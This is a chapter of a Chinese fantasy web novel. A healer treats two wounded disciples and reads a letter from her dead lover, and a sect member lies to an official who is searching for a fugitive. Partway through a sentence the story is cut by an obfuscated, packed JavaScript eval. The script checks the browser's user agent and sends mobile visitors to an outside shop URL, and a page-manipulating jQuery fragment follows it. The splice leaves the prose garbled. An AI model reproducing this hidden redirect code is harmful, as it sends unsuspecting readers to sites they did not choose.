青黛只是来这处采药,在途中听见某处有惊天动地的一声巨响,她循声找去,结果看见了这两人。
查看了二人的伤势,实在是令人心惊肉跳。他们此时的确是还活着,只是过一会儿就不知道还能不能活着了。
青黛的掌心浮出一缕青色的灵力,缓缓没入他们的体内,暂且为他们疗养,以确保他们在到达她的小屋时还是活着的。
“嗯?”青黛的灵力骤然收回,她捏着凤浅慕的手腕,细细查看后起身,脸上的神色变得严肃,转身就要离开,可还没走出一步,就又回来了。
“我真是欠了你的。”
贺辞睁眼时,屋内空无一人,只有外头药罐不断地发出“咕噜”声。
他忙翻身而起,却在下床榻时双腿一软险些跪在地上,他撑着膝盖,咬着牙往外走。
他摇摇晃晃地挪到另一间屋子时,却被屋内的场景吓了一跳。
青黛身边燃着红烛,她一手持着匕首,一手按在凤浅慕身上,正俯身查看。
贺辞险些咬了舌头:“你要做什么。”
青黛的动作顿住,她转过身,露出全貌。
凤浅慕肩上的皮肉翻开,内里几近溃烂。
“你怎么就下床了,你腿上还有伤呢。”青黛蹙眉,思虑片刻后朝着他招手,“既然来了,就过来替我按住她。”
贺辞上前几步,愈是近,凤浅慕身上的伤在他眼中就越是触目惊心。
青黛道:“她肩上的伤几乎没有处理,故而内里残余的毒无法剔除,从外边看是已然结痂,但里边早已溃烂,必须尽快剔除。”
她正要下刀,又见贺辞征愣地站在一边,她轻啧一声,道:“你得按住她,不能让她挣扎。”
待人被按住后,青黛将手中的匕首在火上燎了一圈,待温度降了些后,开始下刀。
“呃……”
凤浅慕额间冒出细密的汗珠,脖颈处青筋毕现,脸上肌肉抖动,整个人无法控制地颤抖。
青黛一边细细剔除腐肉,一边顺手取了片参片塞进榻上人口中。
待到处理完毕,她直起身,将手中的匕首投入一旁的水中,又取出药粉,道:“这个药见效快,但有一个缺点,上药的时候会很痛,你按住了。”
说完,她俯身将药粉撒在伤处。
药粉覆盖伤处,凤浅慕几乎已无力挣扎,只能蜷缩着妄图躲避。
青黛抱着染血的器具走出屋子,她只走了几步便回头,道:“你跟着我做什么,不去陪她吗?”
贺辞道:“她的伤,怎么样了。”
青黛道:“她身上大大小小的伤不少,最要紧的应该是内里,她强行冲破了封印,灵力大伤,需要休养一段时间方可恢复。”
“至于外伤,拇指脱臼,她应是自己做过紧急的处理,只是做得不好,我已经重新替她接上,腰椎处的筋骨也有受损,需静养,其余的都是皮肉伤,除了会留疤,没有其他问题。”
贺辞道:“一定会留疤吗?”
“其余地方要看她的恢复能力,我不好下定论,但肩膀上的一定会,她肩上那道伤本就是野兽抓伤,极容易感染,又数次撕裂,如今已经感染得很严重了。我刚刚已经替她把腐肉剜去,你也看见多骇人,怎么可能不留疤。”
“……”
青黛道:“既然能动弹就别闲着,去替我熬药。”
“……”
凤浅慕的脑中一片混沌,她脑中场景不断变换,最终定格在林槐死时的场景,只是被那妖洞穿心脏的人变成了她。
她猛地睁开眼,萦绕在鼻尖的是浓浓的药香。
“醒了?”
凤浅慕偏头看去,身边坐着一个身穿青绿衣衫的女子,头上簪着一支木簪,正摇着扇子,她的眉眼柔和,只是此时,眼中似含着怒气。
“你……”凤浅慕搜寻着记忆,只是许久仍是一无所获,“你是谁?他呢?”
“急什么,我又不会吃人。”青黛实在烦躁,连带着扇扇子的速度都快了,“第一,我救了你们,你们恢复得差不多就赶快离开,不要在我这久待,第二,他在隔壁,他比你还醒得早些,在帮我熬药。”
凤浅慕小心地观察着青黛的神色,她隐约觉得面前的女子对她似是不太友好,但她还是犹豫着开口:“不知……恩人叫什么,往后我也好报恩。”
青黛轻嗤一声:“报恩就不必了,别把仇家招来就行。”
青黛看着凤浅慕如同鹌鹑一样噤声的样子,倒是心软了一些,她想着林槐会不会将自己介绍给这几人,只是想来想去也觉得他没有这个理由。
“我叫青黛。”
“你是青黛!”凤浅慕喊出声,只是这一声过后,她又开始咳嗽,几乎咳得停不下来。
青黛看她这反应心道完蛋,林槐这王八蛋肯定提到过她,就是不知道提到了多少,她一时也不知道该怎么圆。
贺辞在此时端着药碗进门,他忙把碗放在一边,走到床榻边替凤浅慕顺气:“怎么了,要紧吗。”
凤浅慕咳得满脸通红,又说不出话,只一个劲地挥手,在终于停下之后,忙道:“我的指环你带来了吗?”
贺辞蹙眉,而后从怀中拿出那枚指环,递到她面前。
凤浅慕接过,一瞬后手中出现一封信,信封干干净净,其上书“青黛亲启”几个字。
青黛犹豫着从凤浅慕手中接过这封信,下一刻又将信塞回了她手中:“这是什么,从来也没有人给我写信,这恐怕只是同名,你们怕是认错人了。”
凤浅慕的手僵在半空:“你……不认识一个叫林槐的人?”
“不认识。”青黛答得快,更令二人起疑。
“真……”
“不认识,不认识,说了不认识,我真的不认识,我从来不认识。”青黛迅速起身,手在空中挥舞,试图掩饰自己的心虚。
凤浅慕道:“你冷静一点。”
贺辞看着青黛这个样子,将一旁的药端到凤浅慕面前:“先别管这个了,先喝药吧。”
凤浅慕皱着眉头将药一饮而尽,比清水先到达的,是青黛伸出的手。
青黛道:“给我。”
“啊?”凤浅慕看看青黛伸出的手,又看看她别扭的表情,“你不是……”
“我认识、我认识、我认识,可以了吧。”青黛从她手中夺过信,却没有立即拆开,“林槐他……”
凤浅慕道:“是我师傅。”
青黛道:“死了没有。”
凤浅慕惊讶地盯着她的脸:“你是怎么知道的。”
青黛看她这样,就已经知道结果。
凤浅慕开口:“师伯?”
“你乱叫什么!”青黛一下子将手中的信揉得皱巴巴。
凤浅慕寻思着自己叫的也不是师娘啊,怎么面前的人反应这么大。
凤浅慕与贺辞对视一眼,道:“我说,你是怎么知道我师傅会死的。”
“我不知道啊,我怎么会知道。”青黛转过身,“我只是……我只是问候一句,你继续养伤,要是没什么事我就走了。”
说完也不管二人什么反应,赶紧攥着信就要离开,却又被叫住。
“那个……我师傅托我转告你,他于你,有愧。”
青黛深吸了一口气,道:“他没什么亏欠我的,如果非要选出一个人来让他有愧。”
她回头,面无表情地盯着凤浅慕:“那应该是你。”
青黛也不知道该用什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795812|207365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么样的态度对待二人,她希望林槐能活着,但又不希望他是通过这样的方式活,但等那公主活生生的站在她面前,告诉她林槐已死时,她仍旧不满意。
她思来想去也没有结论,只能将手中的信拆开,只是刚看了一行,就皱起眉头。
吾姐阿黛?
青黛细细看了看,看出了被“吾姐”二字上,被划去的两个字。
吾……爱?
她的手都在抖,抖得几乎拿不住信纸。
青黛长舒一口气,又吸了吸鼻子,继续往下看。
吾爱阿黛:
切莫垂泪,无人抚泪眼,无人温言慰,不知悲泣几时休。
吾之死乃天命,亦属意外。吾忧你孤寂无伴,故遣门下拙徒相随,愿则其伴于身侧,不愿则任其自去。
唯愿汝余生平安喜乐,觅得良人,一世欢愉,安稳度此一生。
勿念,勿怪。
弟林槐敬叩,于别院书。
青黛看着信中多次因停笔而落下的墨滴,眼泪不受控的砸在信纸上,正正砸在那最大的墨滴处,将整封信晕染得面目全非,信上的“良人”二字已经模糊得几乎看不见。
她却仍是哭得停不下来,只能将信纸拿开,又用宽袖掩住脸,将自己蜷缩起来,从喉咙里溢出一声声哭喊。
凤浅慕看着青黛匆匆离去的背影,叹口气,捧起那碗热水小口的啜着,忽然又想起了什么,开口:“阿芷怎么样了。”
“被清然师姐带在身边了。”贺辞说完,又紧盯着凤浅慕的脸出神。
“阿辞?”凤浅慕凑到他面前,看着他出神的眼睛,却牵动了伤口,刺激得她发出“嘶”的一声。
贺辞回过神,将人又放倒在床榻上,细细为她掖好被角:“你要多休息,这样才好得快。”
凤浅慕应了一声,又道:“阿芷跟着清然师姐怎么样?”
“……挺好。”
这边,赵清然正坐在椅子上与齐安对峙。
齐安捏着手中的茶杯,冷冷开口:“凤汐芷在不在你们那?”
赵清然道:“大人说笑了,我连那是谁不知道,怎么可能在我们那。”
齐安道:“可是贺辞还活着,还劫走了凤浅慕,你跟我说说,凤汐芷有什么理由死。”
赵清然微笑道:“那大人一定要尽早把他们捉拿归案,好还我们清白。”
顿了顿又继续道:“凤浅慕与贺辞,他二人虽曾是宗门内的弟子,也曾与我有同门之情,但总归犯下弥天大罪,大人该怎么处置就怎么处置,我们只是个小门派,不会容、也容不下他们。”
齐安又道:“她当时,是一个人进的你们灵霄宗的大门?”
赵清然道:“当然,我绝无虚言,她进了门后,你们即刻就到了,我们知道此事后,立即将人赶走。”
齐安起身,盯着赵清然淡定喝茶的表情:“你最好不要骗人,否则……
赵清然将手中茶杯放下,抬眼与齐安对视:“你可以搜查我的院子,若是搜到任何可疑之人,我可以任你处置。”
“搜院就不必了,你们如果有她的消息,立刻派人通知。”
“我以自身做担保,一定如大人所言。”
赵清然盯着齐安离开,她端起桌上的茶水,却是颤抖得将茶水撒了一桌,她盯着那些水渍看了半天,最终重新为自己倒了一杯水,握着温热的茶杯,她才终于缓过神。
茶杯中的水摇摇晃晃,印出的却是另外一张脸,凤浅慕愣愣地捧着手中的茶杯,皱眉看向眼圈红红的青黛,道:“你说什么?”
“你能不能和我说说,他是怎么死的。”青黛深吸一口气,用力地搓着手中的帕子,“或者,除了信,他还有什么东西吗?”